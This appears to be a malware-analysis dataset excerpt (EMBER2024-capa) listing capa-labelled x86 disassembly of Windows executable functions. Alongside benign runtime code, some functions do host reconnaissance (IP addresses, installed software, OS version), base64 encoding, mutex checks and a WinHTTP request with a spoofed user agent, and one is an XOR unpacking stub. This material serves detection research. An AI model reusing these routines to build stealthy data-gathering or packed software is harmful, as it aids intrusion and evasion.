joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x41c04c], 1
mov dword [0x41c050], 1
mov dword [0x41c054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x4017f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.ucrtbase.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.ucrtbase.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.ucrtbase.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040a880
call sub.ucrtbase.dll_abort

Function at 0x4023c4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4023e3
mov eax, 0
jmp 0x402427
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402406
mov eax, 0
jmp 0x402427
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402422
mov eax, 0
jmp 0x402427
mov eax, 1
leave
ret
Function at 0x4027cc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x124
call sub.ucrtbase.dll__errno
mov dword [eax], 0
cmp dword [ebp + 8], 0
jne 0x4027fc
call sub.ucrtbase.dll__errno
mov dword [eax], 0xe
mov eax, 0
jmp 0x4029bd
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
test al, al
jne 0x40281b
call sub.ucrtbase.dll__errno
mov dword [eax], 0x14
mov eax, 0
jmp 0x4029bd
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402849
call sub.ucrtbase.dll__errno
mov dword [eax], 2
mov eax, 0
jmp 0x4029bd
mov eax, dword [ebp - 0xc]
and eax, 0x10
test eax, eax
jne 0x402868
call sub.ucrtbase.dll__errno
mov dword [eax], 0x14
mov eax, 0
jmp 0x4029bd
mov dword [esp + 8], 0x104
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sub.ucrtbase.dll__fullpath
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sub.ucrtbase.dll_strlen
add eax, 0x233
mov dword [esp], eax
call sub.ucrtbase.dll_malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4028be
call sub.ucrtbase.dll__errno
mov dword [eax], 0xc
mov eax, 0
jmp 0x4029bd
mov eax, dword [ebp - 0x10]
lea edx, [eax + 0x22c]
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.ucrtbase.dll_strcpy
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + 0x22c]
test al, al
je 0x402943
mov eax, dword [ebp - 0x10]
add eax, 0x22c
mov dword [esp], eax
call sub.ucrtbase.dll_strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + edx + 0x22c]
cmp al, 0x2f
je 0x402943
mov eax, dword [ebp - 0x10]
add eax, 0x22c
mov dword [esp], eax
call sub.ucrtbase.dll_strlen
lea edx, [eax - 1]
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + edx + 0x22c]
cmp al, 0x5c
je 0x402943
mov eax, dword [ebp - 0x10]
lea ebx, [eax + 0x22c]
mov dword [esp], ebx
call sub.ucrtbase.dll_strlen
add eax, ebx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
lea ebx, [eax + 0x22c]
mov dword [esp], ebx
call sub.ucrtbase.dll_strlen
add eax, ebx
mov word [eax], 0x2a
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x224], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x228], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x118], 0
mov eax, dword [ebp - 0x10]
mov word [eax + 0x11c], 0
mov eax, dword [ebp - 0x10]
mov word [eax + 0x11e], 0
mov eax, dword [ebp - 0x10]
add eax, 0x120
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.ucrtbase.dll_memset
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40b168
Capabilities:
Initialize winhttp library
Prepare http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Mozilla_5.0__X11__Ubuntu__Linux_x86_64__rv:49.0__Gecko_20100101_Firefox_49.0
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpOpen]
call eax
sub esp, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40b1fc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x50
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpConnect]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b244
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x418236
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40b28d
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call eax
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x10], 0
je 0x40b2a3
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
sub esp, 4
cmp dword [ebp - 0xc], 0
je 0x40b2b9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
sub esp, 4
cmp dword [ebp - 0x20], 0
je 0x40b2cf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
sub esp, 4
mov eax, 0
leave
ret
Function at 0x40b468
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x6f
jne 0x40b5ed
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.ucrtbase.dll_malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40b5ed
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40b5e2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x40b5d8
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4180f0
mov dword [esp + 4], 0x14
lea eax, [ebp - 0x44]
mov dword [esp], eax
call fcn.0040c7c8
mov dword [esp + 4], 0x4180f6
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov dword [esp + 4], 0x4180fc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov dword [esp + 4], 0x4180fc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov dword [esp + 4], 0x4180fc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_wcscat
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40b521
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ucrtbase.dll_free
mov eax, 0
leave
ret

Function at 0x40b5f4
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0xb7
sete al
test al, al
je 0x40b66b
cmp dword [ebp - 0xc], 0
je 0x40b64b
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0xb7
jne 0x40b64b
mov eax, 1
jmp 0x40b650
mov eax, 0
test al, al
je 0x40b66b
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
jmp 0x40b686
cmp dword [ebp - 0xc], 0
je 0x40b681
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
leave
ret
Function at 0x40b688
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40b82b
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0xff
jmp 0x40b7c0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
lea edx, [ebp - 0x21a]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40b7b9
mov dword [ebp - 0x1c], 0xff
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11b]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisplayName
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x40b7a9
mov dword [esp], 0x40d140
call sub.ucrtbase.dll_strlen
add eax, 0x40d140
mov word [eax], 0x28
lea eax, [ebp - 0x11b]
mov dword [esp + 4], eax
mov dword [esp], 0x40d140
call sub.ucrtbase.dll_strcat
mov dword [esp], 0x40d140
call sub.ucrtbase.dll_strlen
add eax, 0x40d140
mov word [eax], 0x29
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x14], 0xff
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0x14]
mov dword [esp + 0xc], ecx
lea ecx, [ebp - 0x21a]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call eax
sub esp, 0x20
test eax, eax
sete al
test al, al
jne 0x40b6e0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov eax, 0x40d140
leave
ret
Function at 0x40baa8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x418329
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40bae0
mov dword [esp], str.Error_opening_file
call sub.ucrtbase.dll_perror
mov eax, 1
jmp 0x40bbab
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_fseek
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_ftell
mov dword [ebp - 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ucrtbase.dll_malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40bb56
mov dword [esp], str.Memory_allocation_failed
call sub.ucrtbase.dll_perror
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_fclose
mov eax, 1
jmp 0x40bbab
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ucrtbase.dll_fread
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_fclose
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_memcpy
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ucrtbase.dll_free
mov eax, 0
leave
ret
Function at 0x40bbb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x210], 0xff
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40bce4
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10b]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProductName
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x40bc64
mov eax, dword [ebp - 0x210]
mov dword [esp + 8], eax
lea eax, [ebp - 0x10b]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ucrtbase.dll_strncpy
mov dword [ebp - 0x210], 0xff
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x20a]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.CurrentVersion
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x40bcd2
mov eax, dword [ebp - 0x210]
mov dword [esp + 8], eax
lea eax, [ebp - 0x20a]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.ucrtbase.dll_strncpy
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x40bcf0
mov dword [esp], str.Failed_to_open_registry_key._n
call fcn.0040ba6c
nop
leave
ret

Function at 0x40bcf4
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x10], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
test eax, eax
sete al
test al, al
je 0x40bd5b
mov dword [esp], str.CryptStringToBinaryA_Failed
call sub.ucrtbase.dll_perror
mov eax, 0
jmp 0x40bdc5
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ucrtbase.dll_malloc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
test eax, eax
sete al
test al, al
je 0x40bdc2
mov dword [esp], str.Second_CryptStringToBinaryA_Failed
call sub.ucrtbase.dll_perror
mov eax, 0
jmp 0x40bdc5
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x40bdc8
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40000001
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40be1f
mov dword [esp], str.CryptBinaryToStringA_Failed
call sub.ucrtbase.dll_perror
mov eax, 0
jmp 0x40be79
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ucrtbase.dll_malloc
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40000001
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40be76
mov dword [esp], str.Second_CryptBinaryToStringA_Failed
call sub.ucrtbase.dll_perror
mov eax, 0
jmp 0x40be79
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..pdata
mov ebx, 0x40de38
nop
mov ecx, 0x123726e6
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x1d1d005a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401ca0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], edi
xor edi, edi
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], ebx
xor ebx, ebx
mov dword [ebp - 8], esi
lea esi, [ebp - 0x10]
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], edi
lea edi, [ebp - 0x14]
mov dword [esp + 0x14], esi
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
xor edx, edx
test eax, eax
je 0x401d00
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.cygwin1.dll_malloc
mov edx, dword [ebp - 0x18]
test eax, eax
mov dword [edx], eax
mov edx, 0xe
je 0x401cf1
mov dword [esp + 0x14], esi
mov edx, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [edx]
mov dword [esp + 0xc], edi
mov dword [esp + 8], ecx
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov edx, dword [ebp + 8]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
mov ebx, eax
jne 0x401d5c
mov edx, ebx
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [esp], eax
call sub.cygwin1.dll_free
mov eax, dword [ebp - 0x18]
mov edx, ebx
mov dword [eax], 0
jmp 0x401d4d
Function at 0x407cf0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
movzx eax, byte [ebp + 0xc]
movzx ebx, byte [ebp + 8]
mov dword [esp], 0x4122a0
mov byte [ebp - 5], al
movzx eax, byte [ebp + 0x10]
mov byte [ebp - 6], al
call sub.KERNEL32.dll_EnterCriticalSection
mov edx, dword [0x412290]
sub esp, 4
test edx, edx
je 0x407d5b
test bl, bl
jne 0x407d70
cmp byte [ebp - 5], 1
sbb eax, eax
and eax, 0xfffffffc
add eax, 5
mov dword [0x412278], eax
cmp byte [ebp - 6], 0
je 0x407d47
or dword [0x412270], 0x100
mov dword [esp], edx
mov ecx, 0x412270
mov dword [esp + 4], ecx
call sub.ADVAPI32.DLL_SetServiceStatus
sub esp, 8
mov dword [esp], 0x4122a0
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
mov ebx, dword [ebp - 4]
leave
ret
mov ebx, 1
mov dword [0x412278], ebx
call sub.KERNEL32.dll_GetVersion
cmp al, 6
mov edx, dword [0x412290]
sbb eax, eax
and eax, 0xffffff04
add eax, 0x101
mov dword [0x412278], eax
jmp 0x407d37

Function at 0x4089c0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x184
lea ebx, [ebp - 0x118]
mov dword [esp], ebx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
call sub.cygwin1.dll_strcpy
mov dword [esp], ebx
mov eax, 0x2f
mov dword [esp + 4], eax
call sub.cygwin1.dll_strrchr
test eax, eax
mov edx, eax
je 0x408a50
lea eax, [ebp - 0x117]
cmp eax, edx
jae 0x408a50
cmp byte [edx - 1], 0x3a
je 0x408a50
mov byte [edx], 0
lea eax, [ebp - 0x178]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.cygwin1.dll__stat64
test eax, eax
jne 0x408a5d
mov eax, dword [ebp - 0x168]
mov edx, 0xffffffff
and eax, 0xf000
cmp eax, 0x4000
jne 0x408a52
mov dword [esp], ebx
mov eax, 2
mov dword [esp + 4], eax
call sub.cygwin1.dll_access
test eax, eax
jne 0x408a9a
nop
lea esi, [esi]
xor edx, edx
add esp, 0x184
mov eax, edx
pop ebx
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x3ff
mov dword [esp + 4], eax
call sub.cygwin1.dll_mkdir
test eax, eax
je 0x408a50
mov dword [esp], ebx
call fcn.004089c0
test eax, eax
jne 0x408a93
mov dword [esp], ebx
mov eax, 0x3ff
mov dword [esp + 4], eax
call sub.cygwin1.dll_mkdir
test eax, eax
je 0x408a50
mov edx, 0xffffffff
jmp 0x408a52
mov dword [esp], ebx
mov eax, 0x3ff
mov dword [esp + 4], eax
call sub.cygwin1.dll_chmod
test eax, eax
mov edx, 0xffffffff
je 0x408a50
jmp 0x408a52